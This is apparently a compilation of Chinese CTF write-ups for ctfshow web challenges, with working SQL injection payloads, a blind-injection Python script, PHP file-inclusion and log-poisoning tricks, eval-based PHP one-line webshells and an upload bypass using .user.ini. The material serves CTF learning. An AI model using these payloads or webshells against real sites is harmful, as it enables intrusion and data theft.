1.web签到题
查看源码得到flag
看这貌似好像是base64编码的所以用base64解码即可
答案是:
ctfshow{ed2c205b-de98-42c6-a409-2e9cfb93a40e}
2.web2(最简单的sql注入)
直接尝试万能密码,登录成功
order by 查找回显数
直接用Hack Bar
然后继续用ctfshow登录,并且寻找回显最后找到是3
然后看它返回页面的是哪个用
username=ctfshow' union select 1,2,3#&password=1
然后返回的是2
然后在2处构造想要返回的值
username=ctfshow' union select 1,database(),3#&password=1
username=ctfshow' union select 1,table_name,3 from information_schema.tables where table_schema=database()#&password=1 # 然后就发现flag表名应该flag在flag表里面
username=ctfshow' union select 1,column_name,3 from information_schema.columns where table_name='flag'#&password=1 # 然后就发现flag列名所以直接构造
username=ctfshow' union select 1,flag,3 from flag#&password=1
然后就出现答案:
ctfshow{4075920b-d917-44f4-afbe-205e6ee37c1d}
3.web3(考的是php伪协议+文件包含+命令执行)
题目的提示:
看到这个语句,那就是文件包含了,先试下file:etc/passwd,有反应
试下有没有flag.txt文件,好像没有这个文件
那现在我们利用php伪协议 php://input post提交命令,这里不知道为什么我用hackerbar post提交没有反应,那只能burp抓包咯,利用命令执行 ls,查看当前有啥文件
这里出现了一个ctf_go_go_go,那我们用cat打开
正确答案:
flag{a1b1cd4e-a84e-4eef-af34-0389607a560f}
php伪协议:
php://filter、 file://可以访问本地的文件
zip:// 、 phar:// 可以访问本地压缩文件
php://input post 写入php代码
data:text/plain,php代码
总结:题目的提示是<?php include($_GET["url"]); ?>
,第一反应就是文件包含,先利用file协议读取本地文件/etc/passwd看下这里有没有flag,再看下有没有flag.txt文件,这些都没有,那就利用php://input post 提交命令,查看目录有啥文件。
————————————————
版权声明:本文为CSDN博主「0d@y」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/m0_46412682/article/details/107303872
4.web4
页面同上一题
尝试相同的解法,发现过滤了php。但是/etc/passwd依然可以显示,猜测仍为文件包含漏洞,尝试其他利用方式。
第一种:日志包含
通过查看请求头可以知道服务器为nginx,nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log,其中access.log可以打开。
为了防止url编码,需要在burp中修改UA为<?php eval($_POST['hack']);?>
接着菜刀或蚁剑连接。
第二种:远程文件包含
使用自己的公网地址,或者可以在这个网站免费注册域名https://natapp.cn/,将端口映射到本地的80端口上,打开自己电脑上的服务器,将一句话文件写入,直接菜刀连接。
————————————————
版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/miuzzx/article/details/104321970
5.web5
然后就想到在url后面直接传值MD5相同的两个值,一个全是字符串一个全是数字就可以
在PHP中,md5('240610708') ==md5('QNKCDZO')
然后直接构造?v1=QNKCDZO&v2=240610708然后就可以找到flag值
正确答案:
ctfshow{ac285830-aefc-43bb-957e-d7c47a50a923}
6.web6
此题一出现登录就想到用sql注入
然后直接构造万能用户名和密码登录(用burp suite的repeater重复发送即可)
username=admin' or 1=1#&password=1
然后发现出现sql inject error
说明应该是过滤了某些字符,然后一个个输入发现最后空格变成了+号所以就想到用其它字符来代替空格
一般空格被过滤有如下替换方法
/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
这里选择/**/
然后直接构造
username=admin'/**/or/**/1=1#&password=1
然后成功继续用ctfshow登录
username=ctfshow'/**/order/**/by/**/1,2,3,4#&password=1 (这里1,2,3,4需要要么增加要么减少,直到刚好出现ctfshow登陆成功,而增加一个之后发现出不来就是字段数)
然后判断它回显哪几个
username=ctfshow'/**/union/**/select/**/1,2,3#&password=1 即可知道回显的是那几个最后发现回显的是2号,接下来就是一直爆表名,列名然后就是flag值了
username=ctfshow'/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#&password=1
username=ctfshow'/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#&password=1
username=ctfshow'/**/union/**/select/**/1,flag,3/**/from/**/flag#&password=123
正确答案是:
ctfshow{a4352e3d-e197-4669-865f-024702a90af8}
7.web7
和上一关思路一样,都是用注入而且同样也是空格被过滤但是这一关用数字型和字符型都可以
但是到这一步的时候:
id=0'/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#&password=1
没有任何回显就感觉很奇怪,但是源于上一关的缘故,所以就能想到列名是flag然后就能爆出了
8.web8
这个看起来和web7很像,但是经过测试,对union进行过滤
找了别的师傅的payload
通过布尔盲注,测试存在的表名和字段名,读取flag
import requests # requests.session():维持会话,可以让我们在跨请求时保存某些参数
s = requests.session()
url = 'http://ba00e61e-5d5e-4b8a-ae84-372acfeb761a.challenge.ctf.show:8080/index.php'
table = ""
for i in range(1, 46):
print(i)
for j in range(31, 128):
# 爆表名 flag payload = "ascii(substr((select/**/group_concat(
# table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database(
# ))from/**/%s/**/for/**/1))=%s#"%(str(i),str(j)) 爆字段名 flag payload = "ascii(substr((select/**/group_concat(
# column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1
# ))=%s#"%(str(i),str(j)) 读取flag
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#" % (str(i), str(j))
# 这句话的意思就是一个个字符用ascii码来一个个字符判断因为这里过滤了逗号,所以就用from来代替,这里用(1,46)因为这里的flag的值是45位的,所以循环45次直到查完即可
ra = s.get(url=url + '?id=0/**/or/**/' + payload).text
if 'I asked nothing' in ra:
table += chr(j)
print(table)
break
正确答案:
ctfshow{49206be5-846d-4411-9484-cd00a906445c}
9.web9
打开题目发现有注入框,简单的注入测试后发现没有效果,扫描一下,发现存在robots.txt
进入robots.txt查看文件
下载后打开发现有源代码
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>
我们需要输入一个密码,通过md5加密后,绕过sql语句。
此时有一个字符串为ffifdyop,经过md5为276f722736c95d99e921722cf9ed621c,再转换为字符串为' ' 'or' 6<trach>
解析: 存在 or 即代码的两边有一边为真既可以绕过,其实为垃圾代码没有任何用的。 or
后面有6,非零值即为真。既可以成功绕过。
(
ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是‘ or ‘6
,
而 Mysql 刚好又会吧 hex 转成 ascii 解释,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx'
)
等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数)
得到flag
————————————————
版权声明:本文为CSDN博主「FW_ENJOEY」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_46230755/article/details/112676830
10.web10
打开页面点击取消按钮,出现源码。
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
从源码中可以得知几乎把注入用到的关键词过滤的差不多了。
如果只有这一条现在可以采用双写绕过,但是下面这条限制,使得无法双写绕过
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
这里介绍两个mysql语句
①group by(将结果集中的数据行根据选择列的值进行逻辑分组)
不加group by时的输出如下:
在使用group by以后会按照password中的值进行排列:
②with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
来看实例:
结果中将会多出一行,其中password列为null,count(*)为统计和。
个人理解为:并不会对分组的字段进行求和,而是在下面显示为null。
这里我们就可以通过骚姿势绕过了。
其中/**/是为了绕过空格过滤
payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']
的限制成功登陆。
登录成功即可显示flag。
web11
与上一关类似只不过上一关是要password那一栏满足$password==$row['password']
用null==null即可,而这一关是要password与session里面的password相等所以我们就联想到让password输入框为空,并且把session里面的password删除然后就会出现flag的值。
web12
打开地址发现啥也没有直接查看源码,出现<!-- hit:?cmd= -->
所以利用url尾部添加cmd参数进行查看(可以直接运行php代码)
在网站上输入
?cmd=phpinfo();
有回显,猜测源码中应该为
eval($_GET['cmd']);
在eval执行漏洞中我们可以查看网页的源代码。我们输入
?cmd=highlight_file("index.php");
php highlight_file函数用于对文件进行PHP语法高亮显示。语法通过使用 HTML 标签进行高亮,其语法是highlight_file(filename,return),参数filename必需,指规定要显示的文件。
成功显示网站源码。
这里再介绍一个php的函数glob();
glob() 函数返回匹配指定模式的文件名或目录。
举个例子:
glob("") 匹配任意文件
glob(".txt")匹配以txt为后缀的文件
有了这个方法我们先把当前目录下所有的文件找出来看看有没有可用的。输入
?cmd=printf(glob("*"))
发现说是array类型所以输入
?cmd=print_r(glob("*"));
打印出了如下文件
然后想到可能flag就在这个长的php文件里面,我们使用highlight_file()函数成功输出该php文件中的源码。
————————————————
版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/miuzzx/article/details/104372662
红包题第二弹
打开此题发现啥也没有先查看源码直接再url后面添加
?cmd=phpinfo();
分析代码可以得到以下关键信息:
不允许输入大写字母,数字,小写字母a-o,小写字母q-z和$,换句话说,可以输入的仅有小写字母p和某些特殊符号被过滤了大部分特殊符号,可以用的还有?
,.
,/
,`等
因为过滤了~和^,异或和取反都不用考虑了,学习Y1ng师傅的文章学到了新姿势:
php的上传接受multipart/form-data,然后会将它保存再临时文件中。php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。linux下默认为/tmp。也就是说,只要是php接收到上传的post请求,就会保存一个临时文件,如何这个php脚本具有"上传功能"那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除,另外这个php临时文件在linux系统下的命名规则永远是phpXXXXXX
基本思路就是上传?,然后利用eval($cmd)去执行它。既然知道临时文件夹下的命名规则,也没有过滤通配符?,构造./??p/p?p??????就能读到这个文件
还有需要主义的命令执行,处理常见的system('ls');外,还可以写成?>='ls';前面的?>意思是闭合前面的语句。<?=是echo()的别名用法,不需要开启short_open_tag.eg:
payload如下,.命令完成等于source命令.
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
eg:
Host: 4d0bf896-13f4-4502-93d0-143f6505dd17.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Connection: close
Cookie: UM_distinctid=17989df1da362-03ca639740b0f88-4c3f2c72-144000-17989df1da4903
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 242
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat /flag.txt
-----------------------------10242300956292313528205888--
添加并且修改
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat /flag.txt
-----------------------------10242300956292313528205888
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
web13
进入题目是个文件上传的题目,所以尝试了一番文件上传漏洞利用的方法后,没有啥突破,可能有啥隐藏的目录,尝试源码泄露利用的方法在输入upload.php.bak时成功下载源码
.bak文件是备份文件
这里列举一下常见的源码泄露
.gj源码泄露,.git源码泄露,.DS_Store文件泄露,还有以.phps.bak结尾的网页
在web题没有头绪的时候可以尝试一下可能会有奇效
源码如下:
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
我们发下了上传文件的要求,文件的大小要小于等于24,名字长度小于等于9,后缀长度小于等于3,并且最要命的是后缀和名字都不能包含php,我们肯定是要上传一句话木马的,既然小于等于24可以这样写
<?php eval($_GET['a']);
正好24字节可以满足,但是由于后缀问题服务器无法解析该php语句,这里用一种特殊的手法来绕过
1.我们先将一句话保存为a.txt
2.上传a.txt
3.上传.user.ini文件
对于php中的.user.ini有如下解释:
PHP会在每个目录下搜寻的文件名,如果设定为空字符串则PHP不会搜寻,也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中内容包含进去
我们在.user.ini中输入auto_prepend_file=a.txt,这样在该目录下的所有文件都会包含a.txt的内容,
3.菜刀连接
菜刀连接上之后我们发现没有对文件操作的权限,所以我们直接在网页上查找flag
?a=print_r(glob("*"));
然后就会出现有PHP文件,然后用highlight_file函数打开文件即可
?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php ");
答案是:
ctfshow{5eba5852-e836-4ced-b03d-74a615886e43}
————————————————
版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/miuzzx/article/details/104379595
14.web14
对于这个题第一个坑要过的话必须得了解php的switch case语句。
在这里举个例子:
$number=1;
switch ($number)
{
case "1":
echo "one";
case "2":
echo "two";
case "3"
echo "three";
}
输出结果为 one two three
如果在 echo “one”;后面加上break,输出结果为 one。这里应该就明白了吧。如果不加break会一直执行下去,直到结束或者遇到break。
在这个题目中有一条限制sleep($c)
;就是我们输入的c是多少就会等待多少秒然后执行。所以我们想要输出url"`
输入?c=3成功显示 here_1s_your_f1ag.php,接下来访问该页面。是一个很明显的注入页面,但还不确定能否注入。
2
我们先来看一下网站源代码有条提示
if(preg_match(’/information_schema.tables|information_schema.columns|linestring| |polygon/is’, $_GET[‘query’])){
die(’@A@’);
}
过滤的关键词有information_schema.tables,information_schema.columns,linestring,空格,polygon。在这里提供一种绕过的方法——反引号
反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号。
例如
information_schema.tables和information_schema.tables
都可以使用。
网页的弹窗使得我们不容易观察,我们直接在源代码页面进行注入。
例如这样
view-source:http://124.156.121.112:28051/here_1s_your_f1ag.php?query=1/**/order/**/by/**/1
当输入order by 1时才不显示错误,所以有一个回显位置。
view-source:http://88030202-7e53-4ed0-b44e-69bc2f99e50b.challenge.ctf.show:8080/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()
view-source:http://88030202-7e53-4ed0-b44e-69bc2f99e50b.challenge.ctf.show:8080/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name=%27content%27
view-source:http://88030202-7e53-4ed0-b44e-69bc2f99e50b.challenge.ctf.show:8080/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/group_concat(concat_ws(%22:%22,id,username,password))/**/from/**/content
view-source:http://88030202-7e53-4ed0-b44e-69bc2f99e50b.challenge.ctf.show:8080/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/load_file(%27/var/www/html/secret.php%27)
view-source:http://88030202-7e53-4ed0-b44e-69bc2f99e50b.challenge.ctf.show:8080/here_1s_your_f1ag.php?query=-1/**/union/**/select/**/load_file(%27/real_flag_is_here%27)
————————————————
版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/miuzzx/article/details/104373112